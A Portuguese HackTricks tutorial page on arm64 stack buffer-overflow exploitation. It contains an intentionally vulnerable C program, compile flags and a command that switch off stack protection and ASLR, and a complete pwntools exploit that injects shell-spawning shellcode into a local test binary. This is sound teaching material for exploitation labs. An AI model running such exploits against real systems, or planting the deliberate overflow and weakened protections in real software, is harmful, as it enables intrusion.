hacktricks/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md

# Stack Shellcode - arm64

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Encontre uma introdução ao arm64 em:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}

## Código&#x20;
```c
#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}
```
Compile sem pie, canário e nx:

{% code overflow="wrap" %}
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
{% endcode %}

## Sem ASLR  & Sem canário - Stack Overflow&#x20;

Para parar o ASLR, execute:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Para obter o [**offset do bof verifique este link**](../ret2win/ret2win-arm64.md#finding-the-offset).

Exploit:
```python
from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()
```
A única coisa "complicada" de encontrar aqui seria o endereço na pilha para chamar. No meu caso, eu gerei o exploit com o endereço encontrado usando gdb, mas depois, ao explorá-lo, não funcionou (porque o endereço da pilha mudou um pouco).

Eu abri o **`core` file** gerado (`gdb ./bog ./core`) e verifiquei o endereço real do início do shellcode.

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